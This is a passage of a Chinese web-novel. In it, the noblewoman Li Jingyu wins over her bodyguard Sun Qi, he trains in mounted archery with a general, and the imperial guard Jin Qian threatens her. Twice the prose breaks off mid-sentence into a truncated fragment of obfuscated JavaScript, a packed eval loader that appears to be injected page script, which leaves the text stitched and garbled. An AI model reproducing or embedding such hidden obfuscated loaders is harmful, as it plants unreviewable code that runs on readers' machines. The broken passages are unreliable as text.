李惊玉不但是个好主子,更是个好老师。短短十天时间,孙祈渐渐对兵法产生了浓厚兴趣,认识的字比在家乡偷学得多,就是毛笔字还夹着江湖豪气,李惊玉说要端正收敛一些,让他慢慢改。 这样学习半个月,孙祈是时候要走了。李惊玉特意请他到书房一叙,说是有东西要给,算是为他送行。 孙祈没有去过前院,不知书房在哪儿,由飞雁领着去了。进去时,李惊玉端坐着,手放在案上,旁边摆着一件信封。她指尖按住封角,移往孙祈那边,“这是你娘给你的信,你看看。” “我娘?”孙祈不可置信,颤着手拆开信封,一行行看完,脸色愈发阴沉。他把信纸整齐叠放好,揣进怀里,头一回用提防的眼神看李惊玉,“你为什么会有我娘的亲笔信?你派人去我家了?” 李惊玉:“你现在是我的人。你从哪儿来、什么身份、家境如何,我都有权力知道,这是对你负责。不过你放心,探望你娘的人礼数周到,带的礼一样没少,坐坐就走了。” 孙祈:“就是为了说服我留下来?” “孙祈,如果你事业有成、声名远扬,李府根本困不住你,我也从未想过用李府困你。”李惊玉的声音郑重而又温柔,“大商的夜景很美,我希望你有站在高楼俯瞰脚下的一天。” 孙祈拧眉静默,站了好半天,问:“做这些,有什么条件?” 好似无奈,好似妥协。 李惊玉:“很简单,听我话。你得不到想不到的,我会想尽一切办法给你。” 孙祈垂放的手握紧衣摆,“千金为何如此待我?” 李惊玉没有说话,只是浅浅笑着。 不可否认,当时质问他愿不愿意,得到的拒绝让她有点意外和生气,因为从来没有人当面忤逆她,都是巴结讨好。而且做她的贴身侍卫,可以说是后半生衣食无忧了,诱惑极大。他的拒绝干脆真挚,带着那份愚钝的孝心。正是这份愚孝,让李惊玉动了私心。她一定要让这样的人甘愿为她赴汤蹈火、心怀感恩。 小人之恩总有不正企图,易遭反噬。而君子之恩,一滴可有涌泉之利。 孙祈目光诚恳,李惊玉唇畔的笑微凝,“不知你有没有听过一句诗。同是天涯沦落人,相逢何必曾相识。” 孙祈略有不好意思,“我没读过多少书,不懂这些,但若您要说,我会认真听。” 很诚挚的回应。李惊玉心中欣慰,“我们都是一样被困住的人。你为贫困亲情所困,我为千金身世所困。既然如此,何不一起垫高石、翻出去?” 她说得朦朦胧胧,孙祈似懂非懂,小心道:“你……不是太子妃的人选吗?到时可以光明正大离开这里,站到最高处……” 李惊玉的嘴角拉了下来,那坚毅平静的双眼,在此刻渗出一丝惆怅。良久,她缓缓开口道:“那是假传,我志不在此。” 孙祈抿唇不知该说什么,只是点头。 飞雁看不下去他的磨磨唧唧,一掌拍他的后背道:“你要是不放心,我家小姐派人把你娘接过来便是。小姐可不只是让你做贴身侍卫,这只是你第一个身份,不要错失良机!” 孙祈微微皱眉。 李惊玉:“月钱远比现在多,你在我身边待个三年,可以保你们后半辈子衣食无忧。” “三年?”孙祈怔住,显然没有考虑待这么久。 李惊玉神情自若道:“三年期限在信上有说,你娘知道了很高兴你能出来闯荡,要是能闯出一番天地,比用金银报答更甚。孙祈,你一举可做到双喜临门,成全了你的志向,也成全了我。” 孙祈心头一紧,后退几步,弯下身来,“李小姐,我没有资格成全您什么,您言重了。” 李惊玉:“孙祈,你真要我做的这些全都变成一场笑话?我送走了所有的江湖武士,只为把这个位子让给你。仅仅用三年时间交换,你就可以和你娘享受一辈子的荣华富贵,为什么不敢尝试?难道你此生就打算这么碌碌无为烂下去了?对得起你娘的期盼吗?” 让孙祈彻底陷入纠结的不只是她的敲打,更多的是那封从家中送来的信。信上所言所表振聋发聩,他难以忽视,记在了心底。许久,孙祈怔怔道:“可否……让我送一封回去?我想……” 李惊玉知他担忧,应道:“可以。” 当晚,孙祈在案前写了一封密密麻麻的信,次日清早去外面找了家驿站送去。等回信儿的这段时日,他依然在院子清扫除草,慢慢攒着工钱。 十日后,回信从家乡送来,字迹与娘的别无二致。看清信上的内容,孙祈深深吸了口气,第一次去前院跟飞雁说要见人。飞雁话不多说,把人带到书房。 李惊玉对他的到来并不意外,沏了一杯茶给他,还是平易近人之态,“想清楚了?” 孙祈无声半晌,凝重道:“想清楚了。” 李惊玉:“跟着我?” 孙祈哑住,轻轻“嗯”道:“我听我娘的。” 自此,李惊玉身边多了一个少年,身穿玄色劲装,头戴竹笠,梳着高高的马尾,常与她出入李府。 孙祈住在竹园里的一间偏房里,这里幽静安然,可以随时练武,把李小姐说的兵法融贯其中。他有些好奇,骑着骏马拿着长枪在草原上奔驰是什么感觉,会不会有那一天的到来? 他不敢想太多,看着存了好几袋的银钱,打算找个时间全部寄回家里。若钱够翻新屋子,他一定要找城里最好的工匠。可是这还不够,远远不够。 如今李府人尽皆知孙祈是李小姐的贴身护卫,李老爷不知是不是因为去年踏青的事故,没有多管李惊玉的主张,随她去了。 孙祈一路走来是从未有过的顺利,明明该是心安,却掺着一半忐忑。 一连多天下来,从书房出来的李惊玉总会不厌天黑,直奔孙祈的住所。 她给他添了上好的笔墨纸砚和古籍兵法,让他在规定时间内熟悉,完成任务后会给相应的奖赏,不说有多丰厚,但也仁至义尽了。 孙祈无以为报,顾不上奖赏,一边克制骨子里的自卑,一边把事情做好。 李惊玉看在眼里,却不会附赠多余的奖赏,只会淡淡笑道:“你做得很好。” 孙祈每每一听,总会伏地以表谢意。 他还是不放心,因为身担保护小姐的重担,脱不开身,时常寄信送钱给家中的母亲。母亲理解他,宽慰他,要他大胆放手去做想做的事,还说李小姐为人仁善仗义,可以认她为主做事,说了一堆支持他的话,孙祈的顾虑就这样被磨平了。 关于李惊玉,孙祈日日在府里,总会听到一些旧事的传闻。 李惊玉刚出生没多久,亲娘便撒手人寰,从小跟在亲哥身边长大,性格不随寻常小姐那般温婉贤淑知书达理,反倒是个会拿石头砸人的泼辣丫头。 后来亲哥娶了宰相之女,搬出李府自成一家,只有过年才带着妻女来聚。他走后,李惊玉正式由李王爷抚养。看着性子不成体统的女儿,李老爷气不打一处来,为了打压她的气焰,训人时甚至打断过两根竹条。罚她不善诗书礼乐,教她温顺服从,有父顺父,有夫顺夫。 去年踏青,李惊玉险些落水被人救下,不少人替她捏了一把汗,庆幸她平安无事。 可也有人传说,是她自己想跳下去的。 今年踏青她执意要去,与李王爷大吵一架,砸了一屋子的玉器,不惜绝食相逼,李王爷只好出此下策,广招高手作为她的贴身护卫。 她要是有了半点差池,太子妃岂不拱手相让了? 还有三年,三年后,她将出嫁。 种种密事多是飞雁告知孙祈的,她要他好好服侍小姐,习武不得有任何懈怠。因为李小姐所有的非常之举,都有殒命的可能。 孙祈不明所以,但牢牢记住了这句话。 这段时日,他可以进出李惊玉的书房听命,买点所需之物,李惊玉会写在纸条上给他。孙祈凭上面列出的方位找到店铺,买指定的云锦绸缎回去,交给府里专门裁衣的婆婆。婆婆看到是他,喊道:“站住,别动。” 孙祈当即停步不动了,慢慢扭过头看她,满眼疑惑。裁衣婆婆不说话,手里拿着尺条过来,二话不说在他腰上量了一圈。孙祈下意识举着手后退,语无伦次。 “这么瘦,是李府没给你吃饭?”婆婆量完腰,又要去量上身。 孙祈连连后退,尴尬道:“婆婆,我自己来吧……” 婆婆斜睨他一眼,递出尺条。孙祈接过看了几眼,背过身去,把该量的地方都量了,然后记在旁边的本子上。他小心回头看了一眼,不知道自己记得对不对。还好婆婆没说什么,拿着尺条本子走了。 回到竹园,孙祈无事可做,坐在院里对池中的锦鲤发呆。 “在想什么?”熟悉的声音从背后响起。 孙祈回头瞬间俯首,拱手行礼道:“李小姐。” 李惊玉:“你还是这么客气。” 孙祈不语,退到一旁,脑海浮现适才量身一事,欲言又止。 李惊玉却好似知他心思,道:“你是我的贴身侍卫,要时常跟在我身旁,少不了出汗,一到夏天更是严重。我让婆婆给你裁几件合身的衣服,到时候有得换,还有几双长靴。” 孙祈默默吸了口气道:“……谢谢小姐。” 他的言谢,从头到尾,无比诚心。 一转眼,踏青的日子将近,李府在受邀名册内,为此忙碌整装了一阵,在指定日子随王亲贵族一同前往蒙山。 这片山路不算崎岖,大家可一路平安乘车或是骑马。仪仗最前是金骞率领的御前侍卫队,后面紧跟王上王后及其他王家亲眷,世家贵族夹在中间,最后仍是守护安全的御前侍卫。踏青行伍不比平日严密,众人皆是轻装出行,备着水壶和干粮,以供必时需求。 李府的队伍夹在世家中间,李王爷和护卫行在最前,其余家眷在后。李惊玉骑术不精,携飞雁一起坐了马车,无聊时可作伴。 刚出发没多久,飞雁拿出糕点水壶给李惊玉,“小姐,我记得您还没吃东西吧?现在上车可以吃点了。” 李惊玉接过食饮,分出一半递出窗外。 飞雁微微睁大眼睛,小声说道:“小姐,您怎么能和他共食呢?老爷要是知道……” 李惊玉却掀开车帘,声音不大不小,周围的下人刚好能听到,“孙护卫办事有力,这些就当是犒劳了。” 孙祈听完,低头缓缓接过干粮和水,拿在手里却不敢吃。 这时,合上的车帘再次掀开,李惊玉的声音再次传来,“不要浪费粮食。” 孙祈默默将这些吃喝完,顺便给赶路的马匹喂了一点儿。 飞雁恰好从车帘的缝隙看到,惊道:“小姐,他怎么敢拿你给的马儿吃?太过分了!” 李惊玉面不改色,“分给他就是他的,随便他给谁,与我无关。” 飞雁:“小姐你还帮他说话?” “飞雁,他不只是我的贴身侍卫。如果我不向着他,李府便没人向着他了。长此以往,不到半年他就会离开。”李惊玉把车窗关牢,“你知道比小人更不能惹的是哪种人吗?是老实人。他可以忍受苦楚,但不能忍受别人故意的施压,因为我们永远猜不到这种人爆发后带来的结果是什么。” 李惊玉有自己的考量,飞雁收敛了方才的不屑,“好,小姐我记住了。” 路行至山腰,仪仗队歇息了半个时辰再上路,一直走往山顶。 蒙山山顶是避暑山庄,乃周氏一族为王上出行放松所建,今年才修缮完。听说占满了整座山头,三天三夜都逛不完。 仪仗队到达之后,王上下令先歇息整顿三个时辰,晚些时候办宴庆祝,同时答赏周家的一番苦心。 李惊玉坐了一路的马车,精疲力竭,让山庄下人领到客居休息去了。 这一觉她睡得香甜,竹窗轻纱满是清风香气。醒来时,夜宴还未开始,趁此间隙,李惊玉让人带路去浴室泡了个舒舒服服的热水澡,另外还叫飞雁孙祈也重新梳洗一下。沐浴完,差不多就是夜宴了。 衡水台上,一众世家贵族有序分列而坐,待王上王后归位,夜宴开始。 在渐渐兴起的人群中,李惊玉在对面看到了一个要熟不熟的面孔。 周文霖笑意淡淡,手里的酒盏若有似无地朝她举起,一饮而尽,唇语道:“千金好雅致。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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孙祈:“李小姐,我们来这儿干什么?” 李惊玉转身看他,“即日起,你每天要在这里习武看兵书,闲来无事可以去附近走走,用膳休息的时候我会派飞雁过来叫你,直到离山那天。若期间有人路过,问你怎会的这些,你就说是自己有兴致偷学的。” 孙祈不知她这样吩咐的目的,但还是听话照做了,连着三天在石林习武看书。他不大喜欢白日来,总在傍晚之后出没,这样可以先看一阵晚霞再练剑。 这里很少有人路过,更别提夜晚了,鬼都没几只。孙祈坐在石头上望着渐渐消散的红霞,看够了准备开始习武,转过身去,看到有个中年男人坐在石凳上翻看着他对兵法注解写下的本子,不由心惊,一时忘记问候对方身份,急急过去伸出双手,“前辈,此物不便给看……还请还与我。” 中年男人鬓边微白,脸上皱纹带着多年风霜,自然随意的举动散发着不怒自威的气息。听到孙祈说话,他没有回头,继而翻看下两页,“怎么个不便给看?” 孙祈:“这是我自己注解学习写的东西……属于私物,自然不便给看。要是前辈感兴趣,看也无妨……” 闻言,中年男人反倒合上了本子,笑看他道:“写得再好,只是纸上谈兵。而且本子里很多东西都是入门级的,你还怕我看了偷学?” 孙祈低头抱拳,十分不好意思道:“前辈,我并无此意。只是兵法这种东西非寻常之物,着实不太该公之于众,所以我……” 中年男人打断他,“身卑位贱之人学兵法,无疑是在浪费时间,你不如多存点钱去孝敬家中老母亲。” “前辈你……”孙祈竟然不知,他仅看了寥寥几眼便能判断自己的出身地位,想来男人应该常与权贵打交道。就像熟知金银之人,可以一眼断定真假。 该说不说,男人的话直击孙祈的心灵,少年为难道:“实不相瞒,我出来挣钱就是为了给我娘养老,之前在家那边也做过,但工钱不高只能管饱,这以后要是生病什么的拿不出钱,那是万万不行的。” 中年男人微微一笑:“所以,你现在出来了?” 孙祈点头,“本是不想出来的,奈何我娘觉得我不该老守在她身边,所以不管怎样都把我劝了出来,最好能有所成就。” “这么说来,你是被亲娘赶出来的?”中年男人笑了一声,“可你出来以后,并没有孤身奋斗,而是选择了为吸血鬼当牛做马,不觉得辜负了你娘的期望?” “……吸血鬼?”孙祈赶忙摇头,“不是的。李小姐人很好,不会随意使唤我,每次吩咐我会给相应的报酬,这样我可以存到更多的钱寄给我娘。” “李小姐?李南的女儿?原来她收的贴身侍卫是你?”中年男人有点诧异,“你一个小伙子张嘴闭嘴就是娘娘娘的,没有丁点儿男子气概,以后要是娶了媳妇,一定会被笑话。” 孙祈挠了挠头,“我……暂时没有娶妻的想法。至于别人怎么想,那是别人的事,我不能因为害怕笑话,就刻意远离生我养我的亲人吧。她一个人养我长大很辛苦的,我当然不能做燕雀离巢一去不复返这等白眼之事。” 中年男人:“就你娘一个人拉扯你长大?生父和其他兄弟姊妹呢?” 孙祈:“……对不起前辈,家事不可外扬。” 中年男人不怒反笑,没有再追问下去,“我不清楚李小姐的为人,但从你话里,我能大致了解她是一个外冷内热的人,知道体恤下属。如此看来,你倒碰上了一个好主子。只是想施展宏图、闯出一番天地,光做贴身侍卫可是远远不够呐……” 他再次翻开孙祈写着注解的本子,坦白道:“我是没想到,你这听命做事的下属竟还好兵法,懂得自我变通,敢于推翻兵中硬理。虽然这种想法存有风险,显得你无知,但胜在有勇气。一个将军最该有的,就是不畏战败的胆量,不然,无法肩负保家卫国的使命。” 孙祈站在一旁聆听,“前辈说的是。” 中年男人再问:“你知道最不容质疑的王朝是什么样吗?” 孙祈顿了顿,“晚辈愚钝,还请前辈指点。” 中年男人缓声道:“天子守国门,君子死社稷,公主不和亲,黎民弃腹米。” 孙祈:“最后一个……为什么是黎民弃腹米?” “如果一个王朝对百姓够好,但却陷入了灭国危机。那么,愿意追随家国的百姓就会自我了断,一随同去。这便是家在人在,家亡人亡。”中年男人继而道,“即便这个王朝最终覆灭,历史依然会保留它曾经的辉煌,传承百年甚至千年。那么,它在某种意义上,达到了不可磨灭的永生。” 孙祈被他的话震撼得无法用语言形容,后觉自己失礼,垂首点了点头。 中年男人语气怅然,“可惜我这把老骨头怕是看不到商阙被载入史册的那天了。当然,我也希望那天可以晚个三百年到来。” 孙祈:“前辈……这话不吉利。” “是了是了,不说这个。”中年男人哈哈笑道,“我还没问你姓名,你叫什么?” 孙祈:“姓孙名祈,祈福的祈。” “祈福的祈……真是个好名字。”中年男人轻喃,随后站起身来,“时候不早了,我该回去歇息了,有什么不懂的地方可以来问我,我就住在附近。” 孙祈立即抱拳,“好。敢问前辈贵姓?” “想知道?等你亲自前来拜访,我就告诉你!”中年男人笑摸胡子,大步远去。 51. 长相思(拾贰) 一连几日,孙祈都在石林进修,没去附近找那个中年男人,独自在此安逸,有时晨练有时夜习,越发自在。男人像是也想享受这样的宁静,会来这小片石林找孙祈,不是讨问兵法就是剑枪武功。 这些尚在孙祈的能力范围内,但男人接下来提的要求难倒了他,“你骑射如何?山庄后山有片草场,我们玩个游戏如何?我们各自骑马射靶,谁射得多射得准,谁就得钱。” 孙祈有种不好的预感,“谁给钱?” 中年男人微笑:“自然是输方。” 孙祈当场认输,“前辈……我只会骑马,不能一起骑射,没有练过,此次比试我必输的。” “哦?这样吗?”中年男人沉思,“那这样,你先练二十轮稍微熟熟手,之后再比。” 挣钱不易,孙祈头一次想打退堂鼓,怀疑这位前辈是不是想坑自己的钱,可看他衣着气质绝非寻常人,心道应该不会缺钱,兴许只是为了找乐子。 孙祈家贫身轻,拿钱玩乐属实不大像话,说难听点就是小败家。他不想用钱找乐,又不想扫老人家的兴,陷入了迷茫。 中年男人语气并不强逼,不知为何就让孙祈难以拒绝,沉默之后答应了。 中年男人:“好,那明日我来找你。” 孙祈:“不了前辈,还是我去找您吧。总让您来寻我,多少有点不合情理。” 男人扬眉没有拒绝,拍了拍他肩膀离去。 次日清早,孙祈在石林附近转了一圈,在一处大树庇荫处找到一间独居的屋子,从外看去,构造精简,隐约可见里面陈设显贵,看样子住的人身份不简单。 这是石林最近的一间住处,其他地方没有了。孙祈再三犹豫,还是上前敲门试问那个中年男人是否在此。 开门的是个中年仆人,他看着孙祈的脸片刻,命道:“你就在此处等候,我去叫人。” 孙祈作揖,“有劳。” 半天之后,仆人牵着两匹马出门,后面的中年男人悠哉悠哉走出,看到孙祈,淡淡一笑:“这么早?你确定?” 孙祈看向天边,“早点不会太热,累了可以在树下歇凉。” 中年男人:“看你肤色黑黄,应是长年晒成的吧,怎么还怕太阳?” 孙祈微笑:“我自然不怕。清晨日光正好,不冷不热,傍晚天色晦暗不便,还有蚊虫出没,那更不适合了,辰时是最好的时间。” 中年男人长“嗯”一声:“你小子倒心细。走罢,教你骑射。” 孙祈跟着他们来到草场,这里不是很大,但供人骑射绰绰有余。两个仆人去旁边的武器所拿了若干靶子立在场上,退到一旁观望静候,等需要时再上场收拾。 中年男人翻身上马驱其缓行,从筒里取箭搭在弓上,对准靶子就是一射,中了九环。直到射完所有的箭,孙祈才惊愕发现,所有的箭几乎都在八环以内,唯有一支是马跑快了射在七环上。 孙祈首感仰慕,随之压迫降来,他回忆着男人搭箭拉弓的手势,开始慢慢尝试,觉得哪里不对,默默看向男人恳问对错。 男人笑而不语,不纠对错,仿佛骑射只是他自己的事。 孙祈静下心来,射出弓上箭,意料之中没中靶,远程还差了一截。他朝男人腼腆一笑,不再搭箭,反复尝试拉弓发力的姿势,看看怎样才能射得更远,适才肯定是姿势不对。 中年男人颇有耐心等着,看到孙祈练习拉弓姿势,逐渐有了他方才演示的感觉,不禁目露欣赏。 旁守的家仆中有个长袍斯文的,双手合抱自然放在身前,一样对孙祈带着欣赏的眼光。 这时,有个家仆靠近斯文男子,问道:“文管家,为何老爷最近总跟这个来历不明的黄毛小子在一块?看作朋友了?” 斯文男子:“朋友倒不至于,只是在家有劣子的情况下,老爷总会对有上进心的孩子感兴趣。何况这人并非来历不明,而是李府千金的贴身护卫……你听说了吗?当初李千金宁愿抛弃所有金银,也要拿了他这残玉,说明此人定有令人信服之处。” 家仆:“才华能力?” 斯文男子略一沉吟,“这个叫孙祈的,家中只有一母,另外有个常年云游的江湖师父。自小家贫,无钱培养才华……我想,应该是哪方面的性格吸引了老爷。你看好酒怕剑的大少爷、好书却读不出名堂的二少爷、身体羸弱的三小姐和年纪尚小的四少爷,谁会是最适合继承老爷职位的人?” 家仆傻愣半天说不出话,不敢把心中想法说出。 斯文男子直接点明,“哪个都不是。” 家仆亦是此想,“这个姓孙的,兵法很厉害?” 斯文男子:“谈不上,毕竟没有历经过实战,肯定还有触及不到的地方。如果老爷对他真的有心……” 家仆:“那家里的几个少爷岂不是要吵翻天了?” 斯文男子笑道:“他们哪敢在老爷面前一哭二闹三上吊,恐怕眼泪还没流,老爷的刀就架上去了。” 家仆叹气道:“是不折磨老爷,可折磨我们呀……” 草场的靶子换了一轮又一轮,孙祈在练了二十轮的骑射过后,总算摸清了正确骑射的门道。 按照约定,该是他和中年男人正式比试的时候了。中年男人正常发挥,箭箭都在靶上。孙祈倾尽全力,还是输得一塌糊涂。 愿赌服输,他把赌钱交了出去,中年男人全部收下,没有留情。 孙祈不觉得自己全亏,好歹学会了骑射这门武术,算是多了一个保护李惊玉的法子。 回去之后,他跟李惊玉说自己遇到了一个中年男人,教他兵法又是骑射,问过对方姓名,对方却不肯回答,想来是觉得不便透露,没再问了。 对此,李惊玉没有多言,只道:“想去就去,随心即可。” 孙祈思量道:“去吧。你说过,王上在山庄不会待太久,这次踏青结束,不知何年才能再见了。他对我好,我断然没有拒绝的道理。” 他很忠诚大度,到一种令人发指的地步。 李惊玉:“是不是谁对你好,你就愿意归顺谁?” 这话和她平时所言不大一样,孙祈不敢妄言,认真想了想道:“并不是,有的人可以归顺,而有的不适合归顺……我比较看重先来后到。” 李惊玉坐在窗前,眺望外面的景致,忽道:“我问你,第一个爱上的女子和相守最长的女子,你会记谁最久?” 她说得波澜不惊,孙祈心却有几分不安,出于主仆之间的情意,在距离她三步之外的位置跪了下来,俯首道:“小姐,孙祈没有喜欢的人……无法回答您问的这个问题。” 李惊玉微讶他的举动,随后放缓语气道:“我知道。我是说如果。” 如果? 孙祈心里不断重复她刚才的问话,发出无比真挚的疑问,“为什么第一个喜欢的不能是相守最长的?一定要是另外一个人吗?” 李惊玉:“一辈子爱一个人实则有违人的天性,包括我,一生不可能只爱一个人。若此人前臣服于我、博我之爱,后又猜忌背叛我,那么我说断就断,不会手下留情。如果后面有个人愿意为我而死,我可以施舍我为数不多的怜悯之心。这样看来,一生遇见的人、能爱的人真是太多了啊……” 孙祈哑口无言,仍在挣扎,“可小姐,每个人都不一样……不是所有人像您这样名身金贵,可以呼风唤雨,更没有让别人为自己而死的资本。光是衣食饱腹,就足以难倒很多人,遑论衣食之外的东西……” 李惊玉:“所以你的答案是?” 孙祈:“既是所爱,那该相守一生。” 李惊玉:“孙祈,人不会一成不变。你希望的,很难很难。除非你敢保证自己永持真心、对方不生异心。” “我……”孙祈依旧固执,“人性并非固然,总有例外,总有人能做到。” 李惊玉俯视着他,霍然起身走到他面前蹲下,一字一句道:“那你会如你所说的一样,效忠我一辈子吗?” 孙祈始终跪拜垂首,“倘若小姐需要,那么我会。” 李惊玉:“如果我不给你工钱呢?” 孙祈:“小姐给我的已经够多了,其他的不敢再多奢望。不过在此之前,我一定得挣到足够的钱给我母亲。” “不忘初心,我欣赏你。”李惊玉看着他的发顶,“你知道么,你来到我身边后,给了我太多意想不到的惊喜,偏偏都不是你精心准备献出的,而是不经意露出来的。我想知道,你的身上究竟还有什么可以让我欣赏……你我的约定还有三年,假如那时我还愿意雇你,你还愿意留下,不如,在我身边待一辈子吧。” 孙祈猛地抬头,看她面色一如清冷正经,深知不是玩笑话,十分之震撼自己居然能有这等资格,懵然许久,无话可说。 李惊玉看他赶紧垂下了头,问道:“不愿意?” 孙祈摇头,“并非不愿。我只是想在此之前,好好做到尽孝,让我娘不用日日劳累,过上轻松快活的日子。” 李惊玉:“我不是不能帮,不过要看你的表现,能不能抓住时机良缘。” 孙祈轻轻摇头,“小姐的好意我心领了……但这是我该守的道,不想再麻烦小姐了,还望小姐……勿再援手。” 他身卑位低,态度坚决。李惊玉一时无言,回过神来,回到座位上,转移话题道:“你觉得这位前辈值得结交,那便去吧。半路来的缘分往往比蓄谋已久的纯粹干净。” 孙祈点点头,轻轻退下了。 王上不会在山庄待太久,但没有半个月也有十天,如今过去几日,余下的时日不多了。 似是珍惜光阴,中年男人每日叫孙祈来草场练习骑射,不顾任何路人的眼光,该怎么教就怎么教,有时还会和孙祈猜拳比酒。 无比畅快的情景被不少人看到,各种议论四起,不乏世家权贵,都好奇那个少年是谁。 李惊玉正从椅上睡醒,想一个人享受清净,故而没叫飞雁。可是这样令人贪恋的宁静,很快被一个外来之人打破。 “御前侍卫金骞,前来拜访。”门外传来低朗的声音。 李惊玉眼中错愕一刹,随后淡定道:“金骞大人请进。” 一个身材高挑的年轻男子推门而入,没有避讳地关上了门,前进几步便停下,看着窗前的女子,“李千金睡眠真是不错,让金某好等。” 李惊玉懒得再装客气,“你来干什么?” 金骞笑眼锐利,“李千金不是明知故问?” 李惊玉莞尔,“我实在不知金骞大人此话何意,不如有话直说。” 金骞自己找了把椅子坐下,翘起二郎腿,“最近你家那个小侍卫总跟陈将军走在一起,李千金不会不知道吧?” 李惊玉:“知道了又如何?” 金骞以肯定的语气道:“我很好奇,为何孙祈会选在石林里练武,那边只有陈将军住在附近,不说没有企图,实在让人难以相信啊……他一个侍卫天天往石林跑,李千金不召回,因为是你命令他那么做的。你想把他推到陈将军面前。” 李惊玉:“照你那么说,我有什么理由把他推到陈将军面前?还是说,陈将军那么一个务实执公的老臣,真会把手中的活儿过给孙祈?他可没那么蠢。” “他是没那么蠢,所以你在赌。”金骞盯向她,“你用孙祈朴实良善的人性去赌一个不可能的可能……有意思,要是陈家那几位贵公子看到自己的父亲对外来的野种如此上心,会是什么感觉?” 李惊玉一脸淡漠,“区区几个废物,没什么威胁可言。” 金骞哈哈笑了,起身拉着椅子走向她,两根椅腿在地上摩擦出沉沉的“吱吱”声,在静谧中略显刺耳。 他把椅子搬到李惊玉对面坐下,说话透着温柔意,却不改寻常审判的犀利眼神,“李小姐,若你是男儿身,那简直太可怕了。你的手段和智慧没有想象中那么高明,却能神不知鬼不觉地翻天覆地,改变别人或是自己,金某相当佩服。” 金骞人高马大,常年习武,身上带着收敛不住的杀威之气,连人带椅堵住了李惊玉的去路,怎么看都有点惊骇之感。 李惊玉撩起眼皮淡淡扫他一眼,“恶心人的客套话就不必说了,听着心烦。” “哦?三两句就能把您说烦了?那金某真是倍感荣幸。”金骞笑容温和,下一刻倏地站起压身过去,伸出三指捏住李惊玉的下颚,骨子里的阴狠再无遮掩,“李小姐,你应该知道打世家王族主意的下场是什么。敢在王上的眼皮底下耍心机,你是不要命了,还是不想要孙祈的命了?” 李惊玉被他捏得吃痛,身体下意识往后靠,却退无可退。金骞一手捏着她下颚,一手横在她胸口上,几乎倾注了大半力量施以压迫,令人无法动弹。 她保持镇定,没有剧烈挣扎,而是道:“金骞大人此言差矣,我为我看重的人谋取出路,且是光明正大,没有使用任何下三滥的伎俩,如何能说是耍心机?就算有,我也是为了帮我的人谋取更好的以后。” “是他的以后,还是你的以后?”金骞轻笑,“李小姐,我都有点后悔把人让给你了。这么好的一条狗,不管怎样算计,只要给到足够的好处,他都不会埋怨,真是太蠢了,蠢到让人有点嫉妒,你知道吗?我告诉你,不论你打的什么主意,但凡出了人命,我第一个不会饶你。此举不是刻意针对你,而是我作为御前侍卫,不仅得护王上,还得提防欲闯王宫的小人,明白吗?” 擅长做这事的,非金家之主金骞莫属。任何意图不明欲闯王宫之人,在他眼里皆算是刺。 李惊玉笑了,“金大人,就算我有通天本领,到底还是一介文弱女子。杀人这种事,我做不来的。何况我确是为了我的人好过一些,想凭实力征得陈将军的欣赏,看他能不能腾出一席之位。孙祈在你手下,没有任何前途。他喜欢兵法,去陈将军那儿,刚好凑合。” 金骞手上的力道不减,“你的话我不会再信,我只看你们的举止行为,一经发现有任何威胁,我绝不会手下留情。一想到李小姐这么貌美的女子被扒衣抽鞭子,真是叫人好生心疼,不过李小姐要是哭着求情,想必他们会手下留情的吧。” “啪!” 李惊玉抬手给了他一耳光,神容不再如初冷静,“你这张嘴,迟早会被人撕烂。” “他们谁敢?”金骞冷笑一声,漆黑的眼像是要把人活生生吞吃下肚,他松开李惊玉的下颚,顺势往下,牵起她身前一缕带香的长发,“这一巴掌就当给你过过手瘾,千万、千万别让我有过手瘾的机会,李小姐。” 他说完这些,抽身离去,走到门口又停下,头也不回道:“李小姐,用心计对待别人的忠心,小心会反噬。” 李惊玉冷面苍白,死死盯着他的背影远去,然后关门锁紧。 她怎么也没想到,金骞比想象中的大胆,竟敢当面来质问打压。此等破罐子破摔的行径,绝对不止是为了提防有人谋计到王的头上,肯定藏有一己之私。至于这个私是什么,李惊玉心中模棱两可。 说来也招笑,一个心怀不轨的狠毒之人到头来还告诫别人不要欺骗辜负对方的衷心,简直可笑至极! 李惊玉身心不稳,撑住案桌缓了缓,静下心来,一闭眼,全是金骞所言那句“用心计对待别人的衷心,会遭反噬”。 她抓紧桌角,随后嗤之以鼻,慢慢舒展眉心,坐回椅上,没事人一样开始铺纸画墨。 入夜,孙祈刚和中年男人道别回来,他轻着脚步走在竹廊上,尽量避免发出刺耳的声音。 在月光的映照之下,竹廊透着碧色光芒,旁边池塘的水面上,波动的玉盘似碎欲碎。饶是不解风情的孙祈也忍不住为此刻的夜色停留,他想借着月光看清水下的锦鲤,转头却看到桥上的李惊玉。 她盯着水面伫立着,不知在想什么。 孙祈愣了一瞬,忽然想到什么,快步奔去,见她聚精会神望着水下锦鲤,脚步自然放慢,小小松了口气道:“小姐,入夜了,一个人在外面不安全。” 李惊玉一副闲散模样撒着点点鱼饵,“是不安全,所以呢?” 孙祈想了想道:“我送小姐回房。” 李惊玉扭过头来,便是在暗淡的月色中,那双眼依旧明亮。她轻轻莞尔,朝他伸出了手。 孙祈心中微诧,强行镇定,上前小心用手腕搭上她的掌心一同前往竹廊前面的居室,把她送到房门口,准备告退。 李惊玉挡住他合上的门,凝视他道:“你好像很害怕我站在水边?” 孙祈身形顿住,“……池大水深,夜间很危险。” 他低着眉眼,李惊玉瞧不真切,又觉得这样正好,仅凭感觉去感受他的情绪,何尝不是一种……自欺欺人。 李惊玉静默片晌道:“你觉得我对你好吗?” 孙祈眼有疑惑,旋即转变诚恳,颔首道:“很好、很好。” 李惊玉扬眉继续道:“真心重要,还是钱重要?” 孙祈脱口问:“谁的真心?” 李惊玉抓紧门扉,默而不语。 傻愣愣的孙祈似乎明白了什么,沉吟道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 